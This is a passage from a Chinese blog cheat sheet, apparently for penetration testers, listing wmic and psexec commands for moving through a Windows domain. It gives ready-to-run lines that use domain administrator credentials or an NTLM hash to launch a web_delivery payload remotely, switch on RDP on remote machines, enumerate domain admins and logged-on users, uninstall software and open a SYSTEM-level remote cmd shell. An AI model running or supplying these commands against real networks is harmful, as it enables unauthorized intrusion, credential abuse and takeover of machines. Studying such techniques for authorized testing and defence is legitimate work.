1.12.6. 通过smb在远程机器上执行指定程序,如,在本地让远程机器上线,在抓取目标系统用户的hash,等等...
· wmic /node:192.168.3.122 /user:klionsec\administrator /password:"admin!@#123" process call create "web_delivery payload"

1.12.7. 终止执行某程序
· wmic process where name="calc.exe" call terminate

· wmic /node:192.168.3.122 /user:klionsec\administrator
/password:"admin!@#123" process where name="calc.exe" call
terminate

1.12.8. 开启,关闭当前机器的rdp
· wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call
SetAllowTSConnections 1 开启

· wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call
SetAllowTSConnections 0 关闭

1.12.9. 开启,关闭远程机器的RDP
· wmic /node:"192.168.3.122" /USER:"klionsec\administrator"
/password:"admin!@#123" PATH win32terminalservicesetting
WHERE (_Class!="") CALL SetAllowTSConnections 1

· wmic /node:"192.168.3.122" /USER:"klionsec\administrator"
/password:"admin!@#123" PATH win32terminalservicesetting
WHERE (_Class!="") CALL SetAllowTSConnections 0

1.12.10. 查询当前机器已安装的补丁
· wmic qfe get description,installedOn,HotFixID,InstalledBy

· wmic qfe get CSName,Description,hotfixid

1.12.11. 查询当前机器自启动程序有哪些
· wmic startup list full

· wmic STARTUP GET Caption,Command,User

1.12.12. 查询当前机器所安装的所有软件名
· wmic product get name /value

· wmic product get name,version

1.12.13. 删除当前机器中指定名称的软件
· wmic product where name="Google Update Helper" call uninstall
/nointeractive

1.12.14. 所有的盘符及剩余空间
· wmic logicaldisk get description,name

· wmic logicaldisk where drivetype=3 get
name,freespace,systemname,filesystem,volumeserialnumber

1.12.15. 简要配置信息
· wmic computersystem list brief /format:list

1.12.16. 操作系统位数
· wmic cpu get DataWidth /format:list

1.12.17. 用户及组信息
· wmic useraccount list brief /format:list

· wmic group list brief /format:list

1.12.18. 所有用户的详细信息
· wmic useraccount list brief

1.12.19. 所有服务的详细状态
· wmic service list brief

1.12.20. 指定域的域管有哪些
· wmic /node:rootkit path win32groupuser where
(groupcomponent="win32group.name=\"adm\",domain=\"rootkit\"")

1.12.21. 查看谁登陆过指定机器,适合用来找域管进程
· wmic /node:192.168.3.23 path win32_loggedonuser get antecedent

1.12.22. 查询本机共享
· wmic share get name,path,status

1.13. pstools
1.13.1. 弹回一个system权限的cmdshell
· psexec /accepteula \192.168.3.122 -u klionsec\administrator -p
"admin!@#123" -s -c -f "cmd.exe"

· psexec /accepteula \192.168.3.23 -u klionsec\administrator -p
lm:ntlm -s -c -f "cmd.exe"

•	适合03以下的系统


  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值